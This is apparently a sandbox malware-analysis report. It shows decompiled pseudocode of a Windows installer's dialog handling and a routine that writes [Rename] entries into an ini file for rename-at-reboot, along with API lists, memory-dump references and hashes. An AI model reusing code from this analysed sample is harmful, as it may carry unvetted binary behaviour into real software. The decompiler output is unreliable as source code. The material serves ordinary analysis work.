                                                                                    							_push( *((intOrPtr*)(_t131 + 0x1c)));
                                                                                    							_push(0xfffffc1b);
                                                                                    							E004042AC(_t126);
                                                                                    							_push( *((intOrPtr*)(_t131 + 0x28)));
                                                                                    							_push(0xfffffc1a);
                                                                                    							E004042AC(_t126);
                                                                                    							_t49 = GetDlgItem(_t126, 3);
                                                                                    							__eflags =  *0x4247ec - _t134;
                                                                                    							_v32 = _t49;
                                                                                    							if( *0x4247ec != _t134) {
                                                                                    								_t117 = _t117 & 0x0000fefd | 0x00000004;
                                                                                    								__eflags = _t117;
                                                                                    							}
                                                                                    							ShowWindow(_t49, _t117 & 0x00000008);
                                                                                    							EnableWindow( *(_t135 + 0x30), _t117 & 0x00000100);
                                                                                    							E004042CE(_t117 & 0x00000002);
                                                                                    							_t118 = _t117 & 0x00000004;
                                                                                    							EnableWindow( *0x41fd18, _t118);
                                                                                    							__eflags = _t118 - _t134;
                                                                                    							if(_t118 == _t134) {
                                                                                    								_push(1);
                                                                                    							} else {
                                                                                    								_push(_t134);
                                                                                    							}
                                                                                    							EnableMenuItem(GetSystemMenu(_t126, _t134), 0xf060, ??);
                                                                                    							SendMessageA( *(_t135 + 0x38), 0xf4, _t134, 1);
                                                                                    							__eflags =  *0x4247ec - _t134;
                                                                                    							if( *0x4247ec == _t134) {
                                                                                    								_push( *0x420d4c);
                                                                                    							} else {
                                                                                    								SendMessageA(_t126, 0x401, 2, _t134);
                                                                                    								_push( *0x41fd18);
                                                                                    							}
                                                                                    							E004042E1();
                                                                                    							E00406228(0x420d50, E00403DB9());
                                                                                    							E004062BB(0x420d50, _t126, _t131,  &(0x420d50[lstrlenA(0x420d50)]),  *((intOrPtr*)(_t131 + 0x18)));
                                                                                    							SetWindowTextA(_t126, 0x420d50);
                                                                                    							_t68 = E00401389( *((intOrPtr*)(_t131 + 8)), _t134);
                                                                                    							__eflags = _t68;
                                                                                    							if(_t68 != 0) {
                                                                                    								continue;
                                                                                    							} else {
                                                                                    								__eflags =  *_t131 - _t134;
                                                                                    								if( *_t131 == _t134) {
                                                                                    									continue;
                                                                                    								}
                                                                                    								__eflags =  *(_t131 + 4) - 5;
                                                                                    								if( *(_t131 + 4) != 5) {
                                                                                    									DestroyWindow( *0x423f18);
                                                                                    									 *0x420528 = _t131;
                                                                                    									__eflags =  *_t131 - _t134;
                                                                                    									if( *_t131 <= _t134) {
                                                                                    										goto L58;
                                                                                    									}
                                                                                    									_t74 = CreateDialogParamA( *0x424740,  *_t131 +  *0x423f20 & 0x0000ffff, _t126,  *(0x40a1fc +  *(_t131 + 4) * 4), _t131);
                                                                                    									__eflags = _t74 - _t134;
                                                                                    									 *0x423f18 = _t74;
                                                                                    									if(_t74 == _t134) {
                                                                                    										goto L58;
                                                                                    									}
                                                                                    									_push( *((intOrPtr*)(_t131 + 0x2c)));
                                                                                    									_push(6);
                                                                                    									E004042AC(_t74);
                                                                                    									GetWindowRect(GetDlgItem(_t126, 0x3fa), _t135 + 0x10);
                                                                                    									ScreenToClient(_t126, _t135 + 0x10);
                                                                                    									SetWindowPos( *0x423f18, _t134,  *(_t135 + 0x20),  *(_t135 + 0x20), _t134, _t134, 0x15);
                                                                                    									E00401389( *((intOrPtr*)(_t131 + 0xc)), _t134);
                                                                                    									__eflags =  *0x423f0c - _t134; // 0x0
                                                                                    									if(__eflags != 0) {
                                                                                    										goto L61;
                                                                                    									}
                                                                                    									ShowWindow( *0x423f18, 8);
                                                                                    									E004042F8(0x405);
                                                                                    									goto L58;
                                                                                    								}
                                                                                    								__eflags =  *0x4247ec - _t134;
                                                                                    								if( *0x4247ec != _t134) {
                                                                                    									goto L61;
                                                                                    								}
                                                                                    								__eflags =  *0x4247e0 - _t134;
                                                                                    								if( *0x4247e0 != _t134) {
                                                                                    									continue;
                                                                                    								}
                                                                                    								goto L61;
                                                                                    							}
                                                                                    						}
                                                                                    						DestroyWindow( *0x423f18);
                                                                                    						 *0x424748 = _t134;
                                                                                    						EndDialog(_t126,  *0x420120);
                                                                                    						goto L58;
                                                                                    					} else {
                                                                                    						__eflags = _t35 - 1;
                                                                                    						if(_t35 != 1) {
                                                                                    							L33:
                                                                                    							__eflags =  *_t131 - _t134;
                                                                                    							if( *_t131 == _t134) {
                                                                                    								goto L61;
                                                                                    							}
                                                                                    							goto L34;
                                                                                    						}
                                                                                    						_t87 = E00401389( *((intOrPtr*)(_t131 + 0x10)), 0);
                                                                                    						__eflags = _t87;
                                                                                    						if(_t87 == 0) {
                                                                                    							goto L33;
                                                                                    						}
                                                                                    						SendMessageA( *0x423f18, 0x40f, 0, 1);
                                                                                    						__eflags =  *0x423f0c - _t134; // 0x0
                                                                                    						return 0 | __eflags == 0x00000000;
                                                                                    					}
                                                                                    				} else {
                                                                                    					_t126 = _a4;
                                                                                    					_t134 = 0;
                                                                                    					if(_t116 == 0x47) {
                                                                                    						SetWindowPos( *0x420d30, _t126, 0, 0, 0, 0, 0x13);
                                                                                    					}
                                                                                    					if(_t116 == 5) {
                                                                                    						asm("sbb eax, eax");
                                                                                    						ShowWindow( *0x420d30,  ~(_a12 - 1) & _t116);
                                                                                    					}
                                                                                    					if(_t116 != 0x40d) {
                                                                                    						__eflags = _t116 - 0x11;
                                                                                    						if(_t116 != 0x11) {
                                                                                    							__eflags = _t116 - 0x111;
                                                                                    							if(_t116 != 0x111) {
                                                                                    								L26:
                                                                                    								return E00404313(_t116, _a12, _a16);
                                                                                    							}
                                                                                    							_t133 = _a12 & 0x0000ffff;
                                                                                    							_t127 = GetDlgItem(_t126, _t133);
                                                                                    							__eflags = _t127 - _t134;
                                                                                    							if(_t127 == _t134) {
                                                                                    								L13:
                                                                                    								__eflags = _t133 - 1;
                                                                                    								if(_t133 != 1) {
                                                                                    									__eflags = _t133 - 3;
                                                                                    									if(_t133 != 3) {
                                                                                    										_t128 = 2;
                                                                                    										__eflags = _t133 - _t128;
                                                                                    										if(_t133 != _t128) {
                                                                                    											L25:
                                                                                    											SendMessageA( *0x423f18, 0x111, _a12, _a16);
                                                                                    											goto L26;
                                                                                    										}
                                                                                    										__eflags =  *0x4247ec - _t134;
                                                                                    										if( *0x4247ec == _t134) {
                                                                                    											_t100 = E0040140B(3);
                                                                                    											__eflags = _t100;
                                                                                    											if(_t100 != 0) {
                                                                                    												goto L26;
                                                                                    											}
                                                                                    											 *0x420120 = 1;
                                                                                    											L21:
                                                                                    											_push(0x78);
                                                                                    											L22:
                                                                                    											E00404285();
                                                                                    											goto L26;
                                                                                    										}
                                                                                    										E0040140B(_t128);
                                                                                    										 *0x420120 = _t128;
                                                                                    										goto L21;
                                                                                    									}
                                                                                    									__eflags =  *0x40a1f8 - _t134; // 0xffffffff
                                                                                    									if(__eflags <= 0) {
                                                                                    										goto L25;
                                                                                    									}
                                                                                    									_push(0xffffffff);
                                                                                    									goto L22;
                                                                                    								}
                                                                                    								_push(_t133);
                                                                                    								goto L22;
                                                                                    							}
                                                                                    							SendMessageA(_t127, 0xf3, _t134, _t134);
                                                                                    							_t104 = IsWindowEnabled(_t127);
                                                                                    							__eflags = _t104;
                                                                                    							if(_t104 == 0) {
                                                                                    								goto L61;
                                                                                    							}
                                                                                    							goto L13;
                                                                                    						}
                                                                                    						SetWindowLongA(_t126, _t134, _t134);
                                                                                    						return 1;
                                                                                    					} else {
                                                                                    						DestroyWindow( *0x423f18);
                                                                                    						 *0x423f18 = _a12;
                                                                                    						L58:
                                                                                    						if( *0x421d50 == _t134) {
                                                                                    							_t143 =  *0x423f18 - _t134; // 0x0
                                                                                    							if(_t143 != 0) {
                                                                                    								ShowWindow(_t126, 0xa);
                                                                                    								 *0x421d50 = 1;
                                                                                    							}
                                                                                    						}
                                                                                    						L61:
                                                                                    						return 0;
                                                                                    					}
                                                                                    				}
                                                                                    			}































                                                                                    0x00403de1
                                                                                    0x00403dea
                                                                                    0x00403f2b
                                                                                    0x00403f2f
                                                                                    0x00403f33
                                                                                    0x00403f35
                                                                                    0x00403f3a
                                                                                    0x00403f45
                                                                                    0x00403f50
                                                                                    0x00403f55
                                                                                    0x00403f57
                                                                                    0x00403f59
                                                                                    0x00403f5c
                                                                                    0x00403f61
                                                                                    0x00403f6f
                                                                                    0x00403f7c
                                                                                    0x00403f83
                                                                                    0x00403f83
                                                                                    0x00403f84
                                                                                    0x00403f84
                                                                                    0x00403f89
                                                                                    0x00403f8f
                                                                                    0x00403f96
                                                                                    0x00403f9c
                                                                                    0x00403f9e
                                                                                    0x00403fde
                                                                                    0x00403fe3
                                                                                    0x00403fe8
                                                                                    0x00403fe8
                                                                                    0x00403fed
                                                                                    0x00403ff6
                                                                                    0x00403ff8
                                                                                    0x00403ffd
                                                                                    0x00404003
                                                                                    0x00404007
                                                                                    0x00404007
                                                                                    0x0040400c
                                                                                    0x00404012
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040401d
                                                                                    0x00404023
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040402c
                                                                                    0x00404034
                                                                                    0x00404039
                                                                                    0x0040403c
                                                                                    0x00404042
                                                                                    0x00404047
                                                                                    0x0040404a
                                                                                    0x00404050
                                                                                    0x00404055
                                                                                    0x00404058
                                                                                    0x0040405e
                                                                                    0x00404066
                                                                                    0x0040406c
                                                                                    0x00404072
                                                                                    0x00404076
                                                                                    0x0040407d
                                                                                    0x0040407d
                                                                                    0x0040407d
                                                                                    0x00404087
                                                                                    0x00404099
                                                                                    0x004040a5
                                                                                    0x004040aa
                                                                                    0x004040b4
                                                                                    0x004040ba
                                                                                    0x004040bc
                                                                                    0x004040c1
                                                                                    0x004040be
                                                                                    0x004040be
                                                                                    0x004040be
                                                                                    0x004040d1
                                                                                    0x004040e9
                                                                                    0x004040eb
                                                                                    0x004040f1
                                                                                    0x00404106
                                                                                    0x004040f3
                                                                                    0x004040fc
                                                                                    0x004040fe
                                                                                    0x004040fe
                                                                                    0x0040410c
                                                                                    0x0040411d
                                                                                    0x0040412e
                                                                                    0x00404135
                                                                                    0x0040413f
                                                                                    0x00404144
                                                                                    0x00404146
                                                                                    0x00000000
                                                                                    0x0040414c
                                                                                    0x0040414c
                                                                                    0x0040414e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00404154
                                                                                    0x00404158
                                                                                    0x0040417d
                                                                                    0x00404183
                                                                                    0x00404189
                                                                                    0x0040418b
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004041b1
                                                                                    0x004041b7
                                                                                    0x004041b9
                                                                                    0x004041be
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004041c4
                                                                                    0x004041c7
                                                                                    0x004041ca
                                                                                    0x004041e1
                                                                                    0x004041ed
                                                                                    0x00404206
                                                                                    0x00404210
                                                                                    0x00404215
                                                                                    0x0040421b
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00404225
                                                                                    0x00404230
                                                                                    0x00000000
                                                                                    0x00404230
                                                                                    0x0040415a
                                                                                    0x00404160
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00404166
                                                                                    0x0040416c
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00404172
                                                                                    0x00404146
                                                                                    0x0040423d
                                                                                    0x00404249
                                                                                    0x00404250
                                                                                    0x00000000
                                                                                    0x00403fa0
                                                                                    0x00403fa0
                                                                                    0x00403fa3
                                                                                    0x00403fd6
                                                                                    0x00403fd6
                                                                                    0x00403fd8
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403fd8
                                                                                    0x00403fa9
                                                                                    0x00403fae
                                                                                    0x00403fb0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403fc0
                                                                                    0x00403fc8
                                                                                    0x00000000
                                                                                    0x00403fce
                                                                                    0x00403dfc
                                                                                    0x00403dfc
                                                                                    0x00403e00
                                                                                    0x00403e05
                                                                                    0x00403e14
                                                                                    0x00403e14
                                                                                    0x00403e1d
                                                                                    0x00403e26
                                                                                    0x00403e31
                                                                                    0x00403e31
                                                                                    0x00403e3d
                                                                                    0x00403e59
                                                                                    0x00403e5c
                                                                                    0x00403e6f
                                                                                    0x00403e75
                                                                                    0x00403f18
                                                                                    0x00000000
                                                                                    0x00403f21
                                                                                    0x00403e7b
                                                                                    0x00403e88
                                                                                    0x00403e8a
                                                                                    0x00403e8c
                                                                                    0x00403eab
                                                                                    0x00403eab
                                                                                    0x00403eae
                                                                                    0x00403eb3
                                                                                    0x00403eb6
                                                                                    0x00403ec6
                                                                                    0x00403ec7
                                                                                    0x00403ec9
                                                                                    0x00403eff
                                                                                    0x00403f12
                                                                                    0x00000000
                                                                                    0x00403f12
                                                                                    0x00403ecb
                                                                                    0x00403ed1
                                                                                    0x00403eea
                                                                                    0x00403eef
                                                                                    0x00403ef1
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403ef3
                                                                                    0x00403edf
                                                                                    0x00403edf
                                                                                    0x00403ee1
                                                                                    0x00403ee1
                                                                                    0x00000000
                                                                                    0x00403ee1
                                                                                    0x00403ed4
                                                                                    0x00403ed9
                                                                                    0x00000000
                                                                                    0x00403ed9
                                                                                    0x00403eb8
                                                                                    0x00403ebe
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403ec0
                                                                                    0x00000000
                                                                                    0x00403ec0
                                                                                    0x00403eb0
                                                                                    0x00000000
                                                                                    0x00403eb0
                                                                                    0x00403e96
                                                                                    0x00403e9d
                                                                                    0x00403ea3
                                                                                    0x00403ea5
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403ea5
                                                                                    0x00403e61
                                                                                    0x00000000
                                                                                    0x00403e3f
                                                                                    0x00403e45
                                                                                    0x00403e4f
                                                                                    0x00404256
                                                                                    0x0040425c
                                                                                    0x0040425e
                                                                                    0x00404264
                                                                                    0x00404269
                                                                                    0x0040426f
                                                                                    0x0040426f
                                                                                    0x00404264
                                                                                    0x00404279
                                                                                    0x00000000
                                                                                    0x00404279
                                                                                    0x00403e3d

                                                                                    APIs
                                                                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403E14
                                                                                    • ShowWindow.USER32(?), ref: 00403E31
                                                                                    • DestroyWindow.USER32 ref: 00403E45
                                                                                    • SetWindowLongA.USER32 ref: 00403E61
                                                                                    • GetDlgItem.USER32 ref: 00403E82
                                                                                    • SendMessageA.USER32 ref: 00403E96
                                                                                    • IsWindowEnabled.USER32(00000000), ref: 00403E9D
                                                                                    • GetDlgItem.USER32 ref: 00403F4B
                                                                                    • GetDlgItem.USER32 ref: 00403F55
                                                                                    • SetClassLongA.USER32(?,000000F2,?,0000001C,000000FF), ref: 00403F6F
                                                                                    • SendMessageA.USER32 ref: 00403FC0
                                                                                    • GetDlgItem.USER32 ref: 00404066
                                                                                    • ShowWindow.USER32(00000000,?), ref: 00404087
                                                                                    • EnableWindow.USER32(?,?), ref: 00404099
                                                                                    • EnableWindow.USER32(?,?), ref: 004040B4
                                                                                    • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004040CA
                                                                                    • EnableMenuItem.USER32 ref: 004040D1
                                                                                    • SendMessageA.USER32 ref: 004040E9
                                                                                    • SendMessageA.USER32 ref: 004040FC
                                                                                    • lstrlenA.KERNEL32(00420D50,?,00420D50,00000000), ref: 00404126
                                                                                    • SetWindowTextA.USER32(?,00420D50), ref: 00404135
                                                                                    • ShowWindow.USER32(?,0000000A), ref: 00404269
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
                                                                                    • String ID: PB
                                                                                    • API String ID: 184305955-3196168531
                                                                                    • Opcode ID: 7ca70d26d5cdbf7e385cb3433e5eec3c9b526a6c029d08fd08a86bcbe3389ad2
                                                                                    • Instruction ID: 6f64ab7c90c2728ca861f65b52108cf4a96aadf8bbc29eaef7369c8c365bd3a4
                                                                                    • Opcode Fuzzy Hash: 7ca70d26d5cdbf7e385cb3433e5eec3c9b526a6c029d08fd08a86bcbe3389ad2
                                                                                    • Instruction Fuzzy Hash: F2C1C2B1A00300BFDB216F61EE45D2B3AB8EB85746F41053EF641B51F1CB3999829B5D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 91%
                                                                                    			E00404417(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
                                                                                    				char _v8;
                                                                                    				signed int _v12;
                                                                                    				void* _v16;
                                                                                    				struct HWND__* _t52;
                                                                                    				long _t86;
                                                                                    				int _t98;
                                                                                    				struct HWND__* _t99;
                                                                                    				signed int _t100;
                                                                                    				intOrPtr _t107;
                                                                                    				intOrPtr _t109;
                                                                                    				int _t110;
                                                                                    				signed int* _t112;
                                                                                    				signed int _t113;
                                                                                    				char* _t114;
                                                                                    				CHAR* _t115;
                                                                                    
                                                                                    				if(_a8 != 0x110) {
                                                                                    					if(_a8 != 0x111) {
                                                                                    						L11:
                                                                                    						if(_a8 != 0x4e) {
                                                                                    							if(_a8 == 0x40b) {
                                                                                    								 *0x41fd1c =  *0x41fd1c + 1;
                                                                                    							}
                                                                                    							L25:
                                                                                    							_t110 = _a16;
                                                                                    							L26:
                                                                                    							return E00404313(_a8, _a12, _t110);
                                                                                    						}
                                                                                    						_t52 = GetDlgItem(_a4, 0x3e8);
                                                                                    						_t110 = _a16;
                                                                                    						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
                                                                                    							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
                                                                                    							_t109 =  *((intOrPtr*)(_t110 + 0x18));
                                                                                    							_v12 = _t100;
                                                                                    							_v16 = _t109;
                                                                                    							_v8 = 0x4236e0;
                                                                                    							if(_t100 - _t109 < 0x800) {
                                                                                    								SendMessageA(_t52, 0x44b, 0,  &_v16);
                                                                                    								SetCursor(LoadCursorA(0, 0x7f02));
                                                                                    								_push(1);
                                                                                    								_t40 =  &_v8; // 0x4236e0
                                                                                    								E004046BB(_a4,  *_t40);
                                                                                    								SetCursor(LoadCursorA(0, 0x7f00));
                                                                                    								_t110 = _a16;
                                                                                    							}
                                                                                    						}
                                                                                    						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
                                                                                    							goto L26;
                                                                                    						} else {
                                                                                    							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
                                                                                    								SendMessageA( *0x424748, 0x111, 1, 0);
                                                                                    							}
                                                                                    							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
                                                                                    								SendMessageA( *0x424748, 0x10, 0, 0);
                                                                                    							}
                                                                                    							return 1;
                                                                                    						}
                                                                                    					}
                                                                                    					if(_a12 >> 0x10 != 0 ||  *0x41fd1c != 0) {
                                                                                    						goto L25;
                                                                                    					} else {
                                                                                    						_t112 =  *0x420528 + 0x14;
                                                                                    						if(( *_t112 & 0x00000020) == 0) {
                                                                                    							goto L25;
                                                                                    						}
                                                                                    						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
                                                                                    						E004042CE(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
                                                                                    						E00404697();
                                                                                    						goto L11;
                                                                                    					}
                                                                                    				}
                                                                                    				_t98 = _a16;
                                                                                    				_t113 =  *(_t98 + 0x30);
                                                                                    				if(_t113 < 0) {
                                                                                    					_t107 =  *0x423f1c; // 0x78d409
                                                                                    					_t113 =  *(_t107 - 4 + _t113 * 4);
                                                                                    				}
                                                                                    				_push( *((intOrPtr*)(_t98 + 0x34)));
                                                                                    				_t114 = _t113 +  *0x424798;
                                                                                    				_push(0x22);
                                                                                    				_a16 =  *_t114;
                                                                                    				_v12 = _v12 & 0x00000000;
                                                                                    				_t115 = _t114 + 1;
                                                                                    				_v16 = _t115;
                                                                                    				_v8 = E004043E2;
                                                                                    				E004042AC(_a4);
                                                                                    				_push( *((intOrPtr*)(_t98 + 0x38)));
                                                                                    				_push(0x23);
                                                                                    				E004042AC(_a4);
                                                                                    				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
                                                                                    				E004042CE( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
                                                                                    				_t99 = GetDlgItem(_a4, 0x3e8);
                                                                                    				E004042E1(_t99);
                                                                                    				SendMessageA(_t99, 0x45b, 1, 0);
                                                                                    				_t86 =  *( *0x424754 + 0x68);
                                                                                    				if(_t86 < 0) {
                                                                                    					_t86 = GetSysColor( ~_t86);
                                                                                    				}
                                                                                    				SendMessageA(_t99, 0x443, 0, _t86);
                                                                                    				SendMessageA(_t99, 0x445, 0, 0x4010000);
                                                                                    				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
                                                                                    				 *0x41fd1c = 0;
                                                                                    				SendMessageA(_t99, 0x449, _a16,  &_v16);
                                                                                    				 *0x41fd1c = 0;
                                                                                    				return 0;
                                                                                    			}


















                                                                                    0x00404427
                                                                                    0x0040454c
                                                                                    0x004045a8
                                                                                    0x004045ac
                                                                                    0x00404679
                                                                                    0x0040467b
                                                                                    0x0040467b
                                                                                    0x00404681
                                                                                    0x00404681
                                                                                    0x00404684
                                                                                    0x00000000
                                                                                    0x0040468b
                                                                                    0x004045ba
                                                                                    0x004045bc
                                                                                    0x004045c6
                                                                                    0x004045d1
                                                                                    0x004045d4
                                                                                    0x004045d7
                                                                                    0x004045e2
                                                                                    0x004045e5
                                                                                    0x004045ec
                                                                                    0x004045fa
                                                                                    0x00404612
                                                                                    0x00404614
                                                                                    0x00404616
                                                                                    0x0040461c
                                                                                    0x0040462b
                                                                                    0x0040462d
                                                                                    0x0040462d
                                                                                    0x004045ec
                                                                                    0x00404637
                                                                                    0x00000000
                                                                                    0x00404642
                                                                                    0x00404646
                                                                                    0x00404657
                                                                                    0x00404657
                                                                                    0x0040465d
                                                                                    0x0040466b
                                                                                    0x0040466b
                                                                                    0x00000000
                                                                                    0x0040466f
                                                                                    0x00404637
                                                                                    0x00404557
                                                                                    0x00000000
                                                                                    0x0040456b
                                                                                    0x00404571
                                                                                    0x00404577
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040459c
                                                                                    0x0040459e
                                                                                    0x004045a3
                                                                                    0x00000000
                                                                                    0x004045a3
                                                                                    0x00404557
                                                                                    0x0040442d
                                                                                    0x00404430
                                                                                    0x00404435
                                                                                    0x00404437
                                                                                    0x00404446
                                                                                    0x00404446
                                                                                    0x0040444d
                                                                                    0x00404450
                                                                                    0x00404452
                                                                                    0x00404457
                                                                                    0x00404460
                                                                                    0x00404466
                                                                                    0x00404472
                                                                                    0x00404475
                                                                                    0x0040447e
                                                                                    0x00404483
                                                                                    0x00404486
                                                                                    0x0040448b
                                                                                    0x004044a2
                                                                                    0x004044a9
                                                                                    0x004044bc
                                                                                    0x004044bf
                                                                                    0x004044d4
                                                                                    0x004044db
                                                                                    0x004044e0
                                                                                    0x004044e5
                                                                                    0x004044e5
                                                                                    0x004044f4
                                                                                    0x00404503
                                                                                    0x00404515
                                                                                    0x0040451a
                                                                                    0x0040452a
                                                                                    0x0040452c
                                                                                    0x00000000

                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
                                                                                    • String ID: N$6B
                                                                                    • API String ID: 3103080414-649610290
                                                                                    • Opcode ID: 92e91cd1affbd3efd92fc6b3bb7834c3f505693ecc67e2e18e8bcfcef82aadde
                                                                                    • Instruction ID: 4db3d1b8578fb28e8129a2e139a0a5bbbdeef9899b51b491bef805f45c6f40d7
                                                                                    • Opcode Fuzzy Hash: 92e91cd1affbd3efd92fc6b3bb7834c3f505693ecc67e2e18e8bcfcef82aadde
                                                                                    • Instruction Fuzzy Hash: 5761B2B1A00209BFDB109F61DD45F6A3B69EB85310F11843AFB01BA2D1D7BD9952CF98
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405E97(void* __ecx) {
                                                                                    				void* __ebx;
                                                                                    				void* __edi;
                                                                                    				void* __esi;
                                                                                    				long _t12;
                                                                                    				long _t24;
                                                                                    				char* _t31;
                                                                                    				int _t37;
                                                                                    				void* _t38;
                                                                                    				intOrPtr* _t39;
                                                                                    				long _t42;
                                                                                    				CHAR* _t44;
                                                                                    				void* _t46;
                                                                                    				void* _t48;
                                                                                    				void* _t49;
                                                                                    				void* _t52;
                                                                                    				void* _t53;
                                                                                    
                                                                                    				_t38 = __ecx;
                                                                                    				_t44 =  *(_t52 + 0x14);
                                                                                    				 *0x422ae0 = 0x4c554e;
                                                                                    				if(_t44 == 0) {
                                                                                    					L3:
                                                                                    					_t2 = _t52 + 0x1c; // 0x422ee0
                                                                                    					_t12 = GetShortPathNameA( *_t2, 0x422ee0, 0x400);
                                                                                    					if(_t12 != 0 && _t12 <= 0x400) {
                                                                                    						_t37 = wsprintfA(0x4226e0, "%s=%s\r\n", 0x422ae0, 0x422ee0);
                                                                                    						_t53 = _t52 + 0x10;
                                                                                    						E004062BB(_t37, 0x400, 0x422ee0, 0x422ee0,  *((intOrPtr*)( *0x424754 + 0x128)));
                                                                                    						_t12 = E00405DC1(0x422ee0, 0xc0000000, 4);
                                                                                    						_t48 = _t12;
                                                                                    						 *(_t53 + 0x18) = _t48;
                                                                                    						if(_t48 != 0xffffffff) {
                                                                                    							_t42 = GetFileSize(_t48, 0);
                                                                                    							_t6 = _t37 + 0xa; // 0xa
                                                                                    							_t46 = GlobalAlloc(0x40, _t42 + _t6);
                                                                                    							if(_t46 == 0 || E00405E39(_t48, _t46, _t42) == 0) {
                                                                                    								L18:
                                                                                    								return CloseHandle(_t48);
                                                                                    							} else {
                                                                                    								if(E00405D26(_t38, _t46, "[Rename]\r\n") != 0) {
                                                                                    									_t49 = E00405D26(_t38, _t21 + 0xa, 0x40a3f0);
                                                                                    									if(_t49 == 0) {
                                                                                    										_t48 =  *(_t53 + 0x18);
                                                                                    										L16:
                                                                                    										_t24 = _t42;
                                                                                    										L17:
                                                                                    										E00405D7C(_t24 + _t46, 0x4226e0, _t37);
                                                                                    										SetFilePointer(_t48, 0, 0, 0);
                                                                                    										E00405E68(_t48, _t46, _t42 + _t37);
                                                                                    										GlobalFree(_t46);
                                                                                    										goto L18;
                                                                                    									}
                                                                                    									_t39 = _t46 + _t42;
                                                                                    									_t31 = _t39 + _t37;
                                                                                    									while(_t39 > _t49) {
                                                                                    										 *_t31 =  *_t39;
                                                                                    										_t31 = _t31 - 1;
                                                                                    										_t39 = _t39 - 1;
                                                                                    									}
                                                                                    									_t24 = _t49 - _t46 + 1;
                                                                                    									_t48 =  *(_t53 + 0x18);
                                                                                    									goto L17;
                                                                                    								}
                                                                                    								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
                                                                                    								_t42 = _t42 + 0xa;
                                                                                    								goto L16;
                                                                                    							}
                                                                                    						}
                                                                                    					}
                                                                                    				} else {
                                                                                    					CloseHandle(E00405DC1(_t44, 0, 1));
                                                                                    					_t12 = GetShortPathNameA(_t44, 0x422ae0, 0x400);
                                                                                    					if(_t12 != 0 && _t12 <= 0x400) {
                                                                                    						goto L3;
                                                                                    					}
                                                                                    				}
                                                                                    				return _t12;
                                                                                    			}



















                                                                                    0x00405e97
                                                                                    0x00405ea0
                                                                                    0x00405ea7
                                                                                    0x00405ebb
                                                                                    0x00405ee3
                                                                                    0x00405eea
                                                                                    0x00405eee
                                                                                    0x00405ef2
                                                                                    0x00405f12
                                                                                    0x00405f19
                                                                                    0x00405f23
